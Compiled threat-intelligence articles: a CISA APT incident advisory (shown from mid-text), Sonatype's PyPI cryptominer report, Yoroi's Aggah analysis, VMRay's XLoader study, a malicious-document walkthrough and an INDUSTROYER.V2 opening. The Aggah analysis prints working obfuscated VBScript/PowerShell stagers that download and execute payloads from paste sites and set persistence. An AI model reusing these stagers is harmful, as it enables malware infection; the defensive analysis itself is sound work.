- Remove unnecessary (disabled) accounts and groups from the enterprise that are no longer needed, especially privileged accounts.
### TECHNICAL DETAILS
**Note:** This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See Tables 3-13 for the APT actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations.
#### Overview
By request of the impacted organization, CISA conducted an incident response engagement from February to April 2023. CISA and co-sealers assess that beginning as early as January 2023, multiple nation-state APT actors were present on the organization’s network via at least two initial access vectors:
- **Initial Access Vector 1:** APT actors exploited CVE-2022-47966 to access the organization’s web server hosting the public-facing application, Zoho ManageEngine ServiceDesk Plus.
- **Initial Access Vector 2:** APT actors exploited CVE-2022-42475 to access the organization’s firewall device.
CISA and co-sealers identified an array of threat actor activity, including overlapping TTPs across multiple APT actors. APT actors often scan internet-facing devices for vulnerabilities that can be easily exploited. Firewall, virtual private networks (VPNs), and other edge network infrastructure continue to be of interest to malicious cyber actors.
### APT Actor Activity
**Initial Access Vector 1**
As early as January 2023, APT actors exploited CVE-2022-47966 for initial access to the organization’s web server hosting the public-facing application, Zoho ManageEngine ServiceDesk Plus. CISA observed indications in log files that a connection to the known malicious IP address 192.142.226[.]153 was made as part of initial exploitation. Through exploitation of CVE-2022-47966, APT actors achieved root level access on the web server and created a local user account named Azure with administrative privileges. Actors were further able to download malware, enumerate the network, collect administrative user credentials, and move laterally through the organization’s network. CISA and co-sealers were unable to determine if proprietary information was accessed, altered, or exfiltrated due to limited network sensor coverage.
**Initial Access Vector 2**
Additional APT actors exploited CVE-2022-42475 on the organization’s firewall device, indicated by multiple successful VPN connections from known malicious IPs between February 1-16, 2023. It was identified that APT actors compromised and used disabled, legitimate administrative account credentials from a previously hired contractor—of which the organization confirmed the user had been disabled prior to the observed activity. Analysis identified that a common behavior for these threat actors was to use disabled administrative account credentials and delete logs from several critical servers in the environment. This prevented the ability to detect follow-on exploitation or data exfiltration.
### Forensic Timeline of APT Actor Activity
**Table 1: Timeline of APT Actor Activity**
| Timestamp (UTC) | Event | Description |
|------------------|-------|-------------|
| 2023-01-18 11:57:02 | Hello World | User-Agent string observed in communication between the organization’s web server and malicious C2 server IP 92.118.39[.]82. |
| 2023-01-20 | Attempts made to export files | APT actors attempted to export three files associated with malicious IP 192.142.226[.]153. |
| 2023-01-20 16:51:05 | Successful web server exploitation | Exploitation via CVE-2022-47966. |
| 2023-01-21 06:46:42 | Local user account created | A local user account named Azure was created on the server hosting ServiceDesk Plus. |
| 2023-01-21 06:49:40 | LSASS dumped by Azure user | The Azure user successfully accessed and dumped credentials stored in the process memory of LSASS for the Active Directory (AD) domain. |
| 2023-01-21 06:50:59 | Mimikatz downloaded | The legitimate ConnectWise ScreenConnect client was utilized to connect to the ServiceDesk system, download mimikatz.exe, and execute malicious payloads to steal credentials. |
| 2023-01-21 07:34:32 | Bitmap.exe malware downloaded | Azure user account downloaded bitmap.exe to execute an obfuscated, embedded malicious payload from its C2 server. |
| 2023-01-21 08:46:23 | Mimikatz credential dump files created | Two files were created as means for Mimikatz to dump/write credentials to disk on the ServiceDesk system. |
| 2023-01-21 09:25:58 | nmap.exe and npcap.exe downloaded | APT actors used these files for illegitimate, malicious purposes. |
| 2023-01-21 13:56:14 | ssh2.zip downloaded | APT actors downloaded the file ssh2.zip via the Azure user account. |
| 2023-01-21 14:31:01 | SSH tools downloaded | Three identified executables were observed in the file system. |
| 2023-01-21 14:33:11 | Scheduled task created | A scheduled task was created to execute ssh.exe on a recurring basis on the ServiceDesk system. |
| 2023-01-21 14:51:49 | PsExec executed | Evidence and execution of two files (PsExec.exe and psexec.exe) on the ServiceDesk system. |
| 2023-01-21 14:55:02 | ProcDump created | ProcDump was created within the directory. |
| 2023-01-21 14:02:45 | Ngrok token created | Ngrok was used to establish an RDP connection. |
| 2023-01-24 15:07:18 | Apache Log4j exploit attempted | APT actors attempted to exploit a known Apache Log4j vulnerability but were unsuccessful. |
| 2023-01-25 00:17:33 | Mimikatz credential dump files created | A different path and time associated with Mimikatz. |
| 2023-01-29 | HTTP-GET requests sent to C2 IP | The server hosting ServiceDesk was observed beaconing/sending HTTP-GET requests to a suspected APT-controlled C2 server. |
| 2023-02-02 05:51:08 | Resource.aspx web shell detected | APT actors logged into the OWA server from the ServiceDesk system. |
| 2023-02-02 18:45:58 | Metasploit service installed | APT actors installed Metasploit on the organization’s domain controller. |
| 2023-02-03 03:27:59 | ConfigLogin.aspx web shell detected | APT actors dropped an additional ASPX web shell on a web server. |
| 2023-02-03 15:12:23 | wkHPd.exe created | APT actors created and used a variant of Metasploit on the ServiceDesk system. |
| 2023-02-08 08:56:35 | PHP files uploaded | APT actors were observed writing PHP files to disk. |
| 2023-02-09 20:19:59 | HTTP-POST request | APT actors executed a callback to the Interact.sh domain. |
| 2023-03-06 | DNS scanning executed | APT actors executed DNS scanning at an additional server. |
### DETECTION METHODS
CISA and co-sealers recommend reviewing Tables 3-13: Identified ATT&CK Techniques for Enterprise in conjunction with the detections in this section to identify similar activity.
- Enable logging for new user creation, as well as monitor executed commands and arguments for actions associated with local account creation.
- Monitor for newly constructed scheduled tasks by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service.
- Monitor for API calls that may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.
- Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS.
- Monitor for user accounts logged into systems associated with RDP.
- Monitor for newly-constructed network connections associated with pings/scans that may attempt to collect a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement from the current system.
- Conduct full port scans (1-65535) on internet-facing systems—not just a subset of the ports.
### MITIGATIONS
CISA and co-sealers recommend the following:
- Document device configurations. Organizations should maintain updated documentation describing the current configuration details of all critical IT assets.
- Keep all software up to date and patch systems for known exploited vulnerabilities.
- Follow a routine patching cycle for all operating systems, applications, and software.
- Prioritize remediation of vulnerabilities on internet-facing systems.
- Employ proper network segmentation, such as a DMZ, and ensure to address the following recommendations.
- Use a firewall or web-application firewall (WAF) and enable logging to prevent/detect potential exploitation attempts.
- Implement network segmentation to separate network segments based on role and functionality.
- Use phishing-resistant multi-factor authentication (MFA) for remote access and access to sensitive data repositories.
- Employ strong password management alongside other attribute-based information.
- Implement the principle of least privilege to decrease threat actors’ abilities to access key network resources.
- Control and limit local administration, ensuring administrative users do not have access to other systems outside of the local machine and across the domain.
- Create a change control process for all privilege escalations and role changes on user accounts.
### VALIDATE SECURITY CONTROLS
CISA and co-sealers recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.
### DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. CISA, the FBI, and CNMF do not endorse any commercial entity, product, company, or service. Any reference to specific commercial entities, products, processes, or services does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or CNMF.
|
# Sonatype Catches New PyPI Cryptomining Malware
Sonatype has identified malicious typosquatting packages infiltrating the PyPI repository that secretly pull in cryptominers on the affected machines. These PyPI packages are listed below, together scoring almost 5,000 downloads:
- maratlib
- maratlib1
- matplatlib-plus
- mllearnlib
- mplatlib
- learninglib
All of these were posted by the same author (“nedog123”) on PyPI, some as early as April of this year. These counterfeit components were discovered by Sonatype’s automated malware detection system, Release Integrity, which is part of our next-gen Nexus Intelligence engine. Our analysis tools are consistently catching and blocking counterfeit and malicious software components before they strike modern software supply chains. In fact, since launching in 2019, Release Integrity has identified over 12,000 suspicious npm open source packages, many of which have made headlines time and time again.
While we’ve historically focused on the npm ecosystem, my colleague and data scientist Cody Nash nudged me over the weekend with these components, explaining, “these packages came while exploring other ecosystems and developing new Release Integrity malware detection capabilities.” As observed by Sonatype with open source ecosystems like npm, Nash believes this is a trend of malicious packages infiltrating PyPI, and expects it to keep growing.
## What’s inside these packages?
Our primary focus for this analysis is “maratlib” because most other malicious components simply pull in this one as a dependency. For example, this is the case for the aforementioned “learninglib.” Also, some of these packages are “typosquats,” or programs that are expected to be grabbed by people accidentally typing in the wrong name. For example, the counterfeit “mplatlib” and “matplatlib-plus” are named after the legitimate Python plotting software “matplotlib.” Once again, “mplatlib” pulls in the malicious “maratlib” dependency.
For each of these packages, the malicious code is contained in the setup.py file which is a build script that runs during a package’s installation. For Sonatype customers, we’re tracking these malicious typosquats under sonatype-2021-0722. When I began analyzing these, I first looked at “maratlib” 1.0 (the latest version). Version 1.0 of “maratlib” is heavily obfuscated and attempted to connect to GitHub, but it wasn’t clear initially what it was looking for. Deobfuscating the code using popular tools didn’t help much, and initially left me frustrated.
But, observing the dynamic behavior and looking around for clues in prior versions of “maratlib” helped solve the puzzle. Looking at version 0.6, I found little to no obfuscated code, seeing instead code that essentially downloads and runs a Bash script from GitHub. But the URL serving the bash script throws a 404 (not found) error. In every version of the package, this Bash script was hosted on GitHub, and sometimes called seo.sh, aza.sh, aza2.sh, or aza-obf.sh, among other variations, but none of these URLs worked.
I kept digging and began tracing the malware author’s alias, “nedog123” on both GitHub archives and mirrors around the web. Shortly thereafter, clues emerged. The author previously used the aliases “nedog123,” and “Marat Nedogimov,” but appears to have switched to “maratoff,” which is where some of the scripts were found. Moreover, the commit IDs associated with update/deletion of these scripts found on GitHub mirrors that mentioned alias nedog123 matched the commits in maratoff’s repository.
## Bash scripts run cryptominers on compromised machines
As evident from the image, the so-called aza2.sh Bash script pulled in by the malicious PyPI package, further downloads a cryptominer called “Ubqminer.” In the Bash script, the malware author has already changed the default Kryptex wallet address to their own: 0x510aec7f266557b7de753231820571b13eb31b57. Also, upon digging deeper, the contents of the now-deleted aza.sh file emerged. This script uses a different, open source GPU cryptomining program called T-Rex, although at some point has also deployed the previously mentioned Ubqminer.
In fact, for those interested, there’s a whole history of commits for both aza.sh and aza2.sh. Since their release, these packages have scored the following total number of downloads to date, according to PePy:
1. maratlib: 2,371
2. maratlib1: 379
3. matplatlib-plus: 913
4. mllearnlib: 305
5. mplatlib: 318
6. learninglib: 626
… adding up to almost 5,000 downloads. Sonatype is publishing our findings after catching these malicious packages over the weekend and notifying PyPI of these packages.
## Evolving open source supply-chain attacks warrant advanced protection
Once again, this particular discovery is a further indication that developers are the new target for adversaries over the software they write. Sonatype has been tracing novel brandjacking, cryptomining, and typosquatting malware lurking in software repositories. We’ve also found critical vulnerabilities and next-gen supply-chain attacks, as well as copycat packages targeting well-known tech companies. These PyPI packages have been lurking on the repository for months, targeting developer systems with the goal of turning them into cryptominers.
The good news is, over the past few weeks, Release Integrity’s experimental runs have managed to catch over 3,157 PyPI packages. These components are either confirmed malicious, previously known to be malicious, or dependency confusion copycats. We are now expanding our malware detection capabilities via Nexus Intelligence to other ecosystems as well.
All of this takes more than just due diligence and luck – it takes the expertise of experienced security professionals and hundreds of terabytes of data. In order to keep pace with malware mutations, Sonatype analyses every newly-released npm package to keep developers safe. We help you remain proactive and safeguard your software supply chains against up-and-coming attacks. Our AI/ML-powered automated malware detection system, Release Integrity, and security research team work together for full-spectrum protection. Release Integrity determines a likely malicious component based on historical supply chain attacks and over five-dozen “signals.” This insight enables flagging for potential new attacks before security researchers discover them.
As soon as Release Integrity flags a package or a dependency as “suspicious,” it undergoes a quarantine queue for manual review by the Sonatype Security Research Team. Meanwhile, users of Nexus Firewall are protected from these suspicious packages while the review is underway. Existing components are quarantined before they are pulled “downstream” into a developer’s open source build environment. Moreover, users that have enabled the “Dependency Confusion Policy” feature will get proactive protection from dependency confusion attacks. This works whether conflicting package names exist in a public repository or in your private, internal repos.
Sonatype’s world-class security research data, combined with our automated malware detection technology safeguards your developers, customers, and software supply chain from infections.
**Tags:** vulnerabilities, featured, Nexus Intelligence Insights
**Written by Ax Sharma**
Ax is a Security Researcher at Sonatype and Engineer who holds a passion for perpetual learning. His works and expert analyses have frequently been featured by leading media outlets. Ax's expertise lies in security vulnerability research, reverse engineering, and software development. In his spare time, he loves exploiting vulnerabilities ethically and educating a wide range of audiences.
|
# Aggah: How to Run a Botnet Without Renting a Server (for More Than a Year)
**January 27, 2020**
## Introduction
During the last year, we constantly kept track of the Aggah campaigns. We started deepening inside the Roma225 Campaign and went on with the RG Campaign, contributing to the joint effort to track the offensive activities of this threat actor. Recently, during our Cyber Defence monitoring operations, we spotted other attack attempts directed to some Italian companies operating in the Retail sector. For this reason, the Cybaze-Yoroi ZLab team decided to dissect this last Aggah campaign and track its latest variations.
## Technical Analysis
**Hash:** 77bbd615bc5b34ce007a82a7f365426fc1091ed7eeca3b3888d35b8242288184
**Threat:** Yakka3 Campaign
**Brief:** Malicious PPA file dropper with macro
The initial file is a Microsoft PowerPoint PPA file. It is an Add-in file designed to add new behavior to the classic PowerPoint presentations, in this case to add a nasty macro:
The malicious code within the PPA abuses the Microsoft mshta utility to download a web page from the BlogSpot platform. The HTML page closely matches the modus operandi of the previous Aggah threat. In this case, the blogspot post is named “20sydney new” but it uses the same trick from the past: hiding the javascript stager code inside the web page, an ad hoc code snippet which will be interpreted and executed only by the mshta engine.
The parameter passed to the “unescape()” function results in another two layers of encoded strings, adopting a sort of “matrioska unescape obfuscation.” After these layers, we recovered the malicious logic of the stager:
```vbscript
<script language="VBScript">
Set M_c = CreateObject(StrReverse("llehS.tpircSW"))
Dim L_c
L_c = StrReverse("exe.drowniw mi/ f/ llikksat & exe.lecxe mi/ f/ llikksat c/ dmc")
M_c.Run L_c, vbHide
set Ixsi = CreateObject(StrReverse("llehS.tpircSW"))
Dim Bik
Bik1 = "mshta http:\\pastebin.com\raw\JELH48mw"
Ixsi.run Bik1, vbHide
set nci = CreateObject(StrReverse("llehS.tpircSW"))
Dim xx
xx1 = "r ""mshta http:\\pastebin.com\raw\JELH48mw"" /F "
xx0 = StrReverse("t/ )+niam+( nt/ 06 om/ ETUNIM cs/ etaerc/ sksathcs")
nci.run xx0 + xx1, vbHide
Set ll = CreateObject(StrReverse("llehS.tpircSW"))
no = StrReverse("mmetsaP\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH")
ll.RegWrite no,"mshta http:\\pastebin.com\raw\NxJCPTmQ","REG_SZ"
self.close
</script>
```
The first part of this initial implant aims to kill the Word and Excel processes. Immediately after that, the malware downloads other code through leveraging mshta once again, this time from a pastebin snippet.
The author of this pastes is no more “HAGGA,” as seen in our previous analysis, now he moved to another one: “YAKKA3.” The paste was created on the 25th November 2019 and it has likely been edited many times in the course of the last month. In the past, Aggah was frequently changing the content of his pastes to modify the malware behavior and drop many kinds of malware. On some occasions, some of them suspected to be related to the Gorgon APT group.
The content of the encoded string is the following:
```vbscript
<script language="VBScript">
Set MVn = CreateObject(StrReverse("llehS.tpircSW"))
Mcn = "powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void]
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=
[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),
[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Zhs3s')|IEX;[Byte[]]$f=
[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),
[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Fk9yH').replace('*','0x')|IEX;
[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)"
MVn.Run Mcn, vbHide
self.close
</script>
```
The above script is a piece of VBS script designed to run some other Powershell loader. The powershell script tests the internet connectivity by pinging to google.com and then starts the infection. The script downloads two other pastes. The first is a PE file and the second one is a custom .NET process injection utility.
**Hash:** b8f6cad3723d1dd2219d02f930e5cda776c124387f19f3decd867495ce614eb7
**Threat:** Yakka3 Campaign
**Brief:** Injector through process hollowing
The injector component is invoked through its static method “[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f).” The only purpose of this component is to inject a payload inside the memory of another process, as indicated in the parameter.
The injection technique is very basic. In fact, the injection uses the textbook “CreateRemoteThread” technique, well documented and used actively implemented by many actors and malware developers.
## UAC Bypass Tool
In Code Snippet 1 we saw that the Aggah implant persists on the target machine by setting the “mshta http:\\pastebin.com\raw\NxJCPTmQ” command into the Registry Key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm,” so it potentially loads different payloads on every run. Unlike previous pastes, the author of this one is YAKKA4. Probably, a form of redundancy in case of take down of the other accounts.
The code served by this paste downloads another binary file from an additional Paste site: paste.ee.
```vbscript
<script language="VBScript">
Set i9i9 = CreateObject("W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l")
i9i9.Run("P" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e -noexit [Byte[]]$sc64=
iex(iex('(&" + "(GCM *W-O*)'+ 'Net.'+" + "'WebC'+'l" + "ient)'+'.Do" + "w'+'nload'+'Str'+'ing(''https://paste.ee/r/6EdQX'').repl" + "ace(''*^*'',''^%$'').r" + "e" + "p" + "l" + "a" + "c" + "e" + "(''^%$'',''0x'')'));[<##>"
+ "Ap" + "pDomain<##>]::<##>('(" + "&[email protected]#$%^&*(urrent" + "Domain'.rep" + "lace('(&[email protected]#$%^&*(','C'))<##>.<##>('%" + "*&^*&^*&^*&^*&oad'.r" + "eplace('%" + "*&^*&^*&^" + "*&^*&" + "','L'))
(" + "$sc64).'EntryP" + "oint'<##>.<##>('in*&^*" + "&^*&^&*^*&^o" + "k))*()*)(**(&(*&'.r" + "e" + "p" + "l" + "a" + "c" + "e" + "('))*()*)(**" + "(&(*&','e').r" + "e" + "p" + "l" + "a" + "c" + "e" + "('*&^" + "*&^*&^&*^*&^','v'))
($null,$null)"),0
self.close
</script>
```
This last binary is a hacking tool implementing the CMSTP Bypass technique, a technique used to bypass Windows UAC prompts. According to the Microsoft Documentation, “Connection Manager is a suite of components that provides administrators with the ability to create and distribute customized remote access connections and to create, distribute, and automatically update customized phone books.” However, the cyber attackers could exploit an infected INF file to execute arbitrary commands bypassing the UAC, elevating privileges in a stealthy way. In this case, the CMSTP Bypass technique is implemented into a .NET executable.
## The Payload
As we saw in the past, Aggah used to change its payloads over time, and this time we observed that the delivered malware was not RevengeRAT. It was a LokiBot variant. This info stealer is well-known in the community since 2016 and it was deeply analyzed over the years.
In this case, it has the following configuration:
The December Payloads
Aggah payloads are quite dynamic. According to some observations of community researchers such as @DrStache, the Aggah pastebin accounts were dropping AZOrult infostealer a few days before the Lokibot observation. Investigating the C2 infrastructure through the Azorult-Tracker services, we noticed the AZOrult malware distributed by Aggah in that period was targeting a modest number of victims mainly located in the United States, United Arab Emirates, Pakistan, Germany, and Israel.
## Conclusions
The Aggah actor keeps threatening organizations all around the world. Over time, it built a custom stager implant based on legit third-party services, such as Pastebin and BlogSpot, abused by the actor to manage the infected hosts and to run its botnet without renting a server.
During the last year, we contributed to the joint effort to track its activities, along with PaloAlto’s Unit42, and after a year we can confirm it is still active and dangerous. At the moment, it is not clear if this actor is just selling its hacking services or running its own campaigns, or both.
In conclusion, there is no hard evidence confirming or denying its potential relationships with the Gorgon APT, and factors like the different nationalities and the small amount of victims connected to December Aggah activities do not help to exclude it.
## Indicators of Compromise
**Hashes:**
- b8f6cad3723d1dd2219d02f930e5cda776c124387f19f3decd867495ce614eb7
- 77bbd615bc5b34ce007a82a7f365426fc1091ed7eeca3b3888d35b8242288184
- d0b5b98de820272474d86f1d8bfb9feef08eff95ea0f2968a13ab97ab1ab5b09
- 5081ca4672184aaa9e4afa22aec015b79038fcca7d7f8c0650727c541c3d884b
- c76ad03fbc8f465dc0db25fe3fe127f8124623f52693120d54087090acc2ef3e
- dc4a0f6a8ca0192b99a909ec577d2146c891cfdfb28afaa3a2dd6f6d25344cb7
- fd95e72fe145f78a013dc1fbf4fe626d7801de50021f036556d32eec6a116e87
- 33beb97e701f4d4fac36dc11bbe3eb5fc372a232586bcea3df1d7903dfe69f25
- 0a6c875978b37eaed5af710e584c55c01f07ee01070486980152d63300650aab
**Persistence:**
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm
**C2:**
- http://107.175.150.73/~giftioz/.cttr/fre.php
## Yara Rules
```yara
rule YAKKA3_Campaign_Jan_20_PPA_Macro {
meta:
description = "Yara Rule for Yakka3 campaign macro PPA document"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-01-23"
tlp = "white"
category = "informational"
strings:
$a1 = { 1A 88 63 8D A9 78 43 FF }
$a2 = { 0D 1B 43 00 1B 44 00 FB 30 1C 33 }
$s1 = "Shell"
condition:
all of them
}
rule YAKKA3_Campaign_Jan_20_Injector_Module {
meta:
description = "Yara Rule for Yakka3 campaign Injector module"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-01-23"
tlp = "white"
category = "informational"
strings:
$s1 = "vroombrooomkrooom"
$s2 = "kekedoyouloveme"
$s3 = "WriteProcessMemory"
$a1 = { 00 ED 08 8C 05 31 00 ED 08 43 }
condition:
uint16(0) == 0x5A4D and all of them
}
rule YAKKA3_Campaign_Jan_20_CMSTP_Bypass {
meta:
description = "Yara Rule for Yakka3 campaign CMSTP Bypass"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-01-23"
tlp = "white"
category = "informational"
strings:
$s1 = "cmstp.exe" ascii wide
$s2 = "CurrentVersion" ascii wide
$s3 = "INF" ascii wide
$a1 = { 0A 06 8E 69 2D 06 7E 18 }
condition:
uint16(0) == 0x5A4D and all of them
}
rule YAKKA3_Campaign_Jan_20_LokiBOT_Payload {
meta:
description = "Yara Rule for Yakka3 campaign Loki bot Payload"
author = "Cybaze Zlab_Yoroi"
last_updated = "2020-01-23"
tlp = "white"
category = "informational"
strings:
$s1 = "Fuckav.ru" ascii wide
$s2 = "SOFTWARE" wide
condition:
uint16(0) == 0x5A4D and $s1 and #s2 > 10
}
```
This blog post was authored by Luigi Martire and Luca Mella of Cybaze-Yoroi Z-LAB.
|
# Malware Analysis Spotlight: XLoader’s Cross-platform Support Utilizing XBinder
## Introduction
Lately, a rebranded version of the stealer FormBook named XLoader has emerged. In contrast to FormBook, which targets Windows only, XLoader supports macOS as well. During our research, we observed Office documents that exploit vulnerabilities in MS Office products and malicious loaders like Smoke Loader or GuLoader distributing FormBook and XLoader Windows samples.
In addition to XLoader, the developers published another tool called XBinder written in Java. It combines samples that target different operating systems into one single file. Given the executable file format differs between Windows and macOS, it is most likely the purpose of this tool to ease the platform-independent distribution of samples.
In this Spotlight, we take a closer look at XBinder and XLoader’s behavior. We adopt the perspective of an attacker and use XBinder to combine two public XLoader samples into one single sample that we are going to analyze further.
## Distribution with XBinder
As mentioned before, XBinder is written in Java and combines two samples into one Java Archive sample. Therefore, the generated sample is executable on both operating systems as long as the Java Runtime Environment (JRE) is installed. In case the JRE is missing, the Java Archive can’t be executed. Besides the samples for the operating systems Windows and macOS, XBinder requests a display file that it shows to the victim at execution. Attackers can use this display file to remain inconspicuous by, for example, executing benign software or showing an error message. For this Spotlight, we have chosen a simple text file as the display file.
By submitting the generated sample to the VMRay Platform and selecting a macOS and Windows Virtual Machine, we can observe its behavior and the behavior of both XLoader payloads. We can see that in both analyses, the sample tries to evade a debugger, achieves persistence, and accesses system data.
Figure 3 shows the process graphs generated by the VMRay Platform for Windows (top) and macOS (bottom) of the generated sample. In both analyses, the sample leads to payload execution and shows the display file using TextEdit or Notepad. The payloads are dropped in the user’s home directory (%USERPROFILE% or $HOME). These dropped files are the respective XLoader payloads selected above.
Figure 4 shows the main function of the decompiled sample file and its content. Both payloads and the display file are encrypted with the AES (Advanced Encryption Standard) and stored as three separate resources. Upon execution, the sample determines the current operating system, decrypts the display file and respective payload, and performs the previously seen behavior.
So far, we have seen that three different (executable) file types are involved in the analyses. Because XLoader is compiled natively, it can only be executed on either Windows or macOS but not on both. To achieve cross-platform support at the sample level, actors can use XBinder and benefit from Java’s cross-platform support.
## Comparison of XLoader Payloads
Up until now, we have seen how the generated example executes the payloads and how XBinder adds cross-platform support on the sample level. Next, let's take a look at the behavior of both payloads.
At first glance, the behavior of the Windows payload is similar to FormBook’s. For example, both abuse the explorer process to spawn a new process of a legitimate Windows binary. Next, they inject into this created process which has explorer as its parent and therefore looks like it was initially started by the user. FormBook and XLoader Windows steal credentials from browsers including Mozilla Firefox, Opera, and Chrome and target FTP applications. In addition to that, we can observe a similar anti-analysis behavior, such as debugger detection and hiding the process.
On the other hand, the XLoader macOS payload avoids being debugged by calling ptrace with PT_DENY_ATTACH and seems to target browsers only. Another difference is that XLoader macOS starts a copy of itself directly without injecting into system-related processes. Both payloads try to be persistent on the running system either by using the registry key (Windows) or by creating a launch agent (macOS).
By taking a look at the binary level, we see that XLoader Windows resolves API functions at runtime, which is similar to FormBook. Another commonality is the usage of so-called encbufs. These encbufs are part of the code section and look at first sight like ordinary functions because they have a typical function prologue. However, they are used to store encrypted data. Both of these techniques complicate a manual analysis without a sandbox.
Moving forward to the network communication, both XLoader and FormBook use a specific byte pattern, also known as magic bytes, in the C2 communication which is built upon HTTP. These bytes are part of the messages transmitted during the communication. While FormBook uses “FBNG”, XLoader uses the magic bytes “XLNG”.
In addition to the network connection to their C2 servers, both connect to multiple benign URLs at runtime, which include the mission-id of the respective sample. We refer to them in the following as decoy URLs. Figure 6 shows the HTTP requests sent to one of the decoy URLs the sample connects to. As highlighted in the figure, it includes the mission-id (“xzes”) despite being a decoy while the real C2 elsist[.]online is unreachable. This makes it challenging to identify the real C2 server from the decoy URLs based on network connection attempts because the attempts look similar.
This behavior makes it hard to separate the real C2 URL from the decoy URLs and complicates the automatic extraction of IOCs in general. In such a case, the VMRay platform’s artifact scoring feature assists analysts to distinguish artifacts from IOCs. It can mark the real C2 URL as an IOC while the decoy URLs remain artifacts. Therefore, the platform can extract the real network IOCs more reliably.
## Conclusion
In this Spotlight, we discussed XLoader with a focus on the distribution with XBinder. The generated sample involves three different file types. Performing a dynamic analysis of the sample using a sandbox requires the sandbox to support these file types and respective operating systems. Furthermore, FormBook and XLoader use decoy domains to make the C2 connection unapparent. Through the VMRay platform’s custom IOC generation, the network IOC extraction of the real C2 URL is more reliable.
## IOCs
**C2 URLs**
- www[.]elsist[.]online/xzes
- www[.]iregentos[.]info/09rb
**SHA-256**
- XLoader macOS – 97d6b194da410db82d9974aec984cff8ac0a6ad59ec72b79d4b2a4672b5aa8aa
- XLoader Windows – 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
- XBinder Builder – 693d6f0ac1e3f5e3e5b68c45d2a77bcc9d8976f7b091d5bfa1e719ad8b97fd25
|
# How to Analyze Malicious Documents – Case Study of an Attack Targeting Ukrainian Organizations
## Summary
This article presents an analysis of two malicious files and the tools used. Our approach can be generalized to any other malicious documents. The last document is a .docx file that was used to attack Ukrainian organizations in the context of the military conflict between Russia and Ukraine. OLE (Object Linking and Embedding) is a technology based on COM (Component Object Model) that allows objects to be linked or embedded into documents.
**Analyst:** @GeeksCyber
## Technical Analysis
### First Document
**SHA256:** c2672e6fd55b129125a19c7837943c0844c03ec02dcf165af183f9e4df4dccbc
The first file to be analyzed is an Excel document. The oleid tool is used to determine if the file contains any macros. The olevba tool is utilized to obtain more information about the VBA macros found. As we can see above, the tool detected a malicious macro that will run when macros are enabled. The certutil.exe legitimate executable is used to download a malicious binary (Ugrfa.bat) from a remote server and run it.
Oledump is a program to analyze OLE files. By running this tool against the malicious file, we can confirm it contains a macro (note the letter “M”). The same tool is utilized to dump and decompress the VBA macro. ViperMonkey is a VBA Emulation engine that can be used to analyze and deobfuscate malicious VBA macros. The tool was able to detect the entry point function (workbook_open) and the routine responsible for downloading a malicious executable.
Because this file is equivalent to a .zip archive, we can use zipdump in order to examine its content. The 7z tool is used to decompress the xlsm file. The core.xml file contains the creator of the document and the last modified by author (“Dell”), the created date/modified date of the document. The workbook.xml file contains 2 `<sheet>` elements that reference the worksheets in the workbook.
SSView is a tool that can be utilized to analyze OLE2 Structured Storage files (vbaProject.bin in our case). ThisWorkbook is the workbook where the malicious macro code is running from. The above URL is classified as malicious by multiple vendors per VirusTotal. At this point, we were able to identify the malicious macro using different tools.
### Second Document
**SHA256:** 992df82cf31a91acd034411bb43a1ec127fa15d613b108287384882807f81764
This document was sent to organizations in Ukraine via email. Oleid is used to investigate the file, which doesn’t contain any VBA macros. We’ve also utilized the olevba tool in order to confirm the above information. It’s better to validate the findings using different tools. Three embedded objects were identified using the oledump tool. We’re able to determine that the objects are identical. The same tool is used to dump one of them.
The content of the .docx file can be found using the zipdump tool, as in the first case. The 7z tool is used to decompress the file. The core.xml file contains the created date/modified date of the document. The document.xml.rels relationship file shows the embedded objects, some images, and other xml files. We’ve analyzed the content of an embedded object using SSView. The OLE Compound File Stream object called “\1Ole10Native” corresponds to the embedded object.
Because we know that the document doesn’t contain macros, we can open the document using LibreOffice in Linux. It appears to be a redacted criminal investigation report from the National Police of Ukraine. The exclamation marks that can be identified lead to the embedded objects. When a user clicks on the exclamation mark, the process writes a Javascript file in the Temp directory, which will be run using wscript. The purpose of the script is downloading a file from a malicious URL and saving it as GoogleChromeUpdate.exe. The attackers tried to abuse Discord’s content delivery network (CDN) in order to host their payload; however, VT recognizes the URL as malicious. The Start-Process cmdlet is utilized to execute the downloaded file. According to CERT-UA, this is supposed to be OutSteel Trojan.
|
# INDUSTROYER.V2: Old Malware Learns New Tricks
On April 12, 2022, CERT-UA and ESET reported that a cyber physical attack impacted operational technology (OT) supporting power grid operations in Ukraine. The attack leveraged different pieces of malware including a variant of INDUSTROYER, a well-known piece of attack-oriented ICS malware originally deployed in December 2016 to cause power outages in Ukraine.
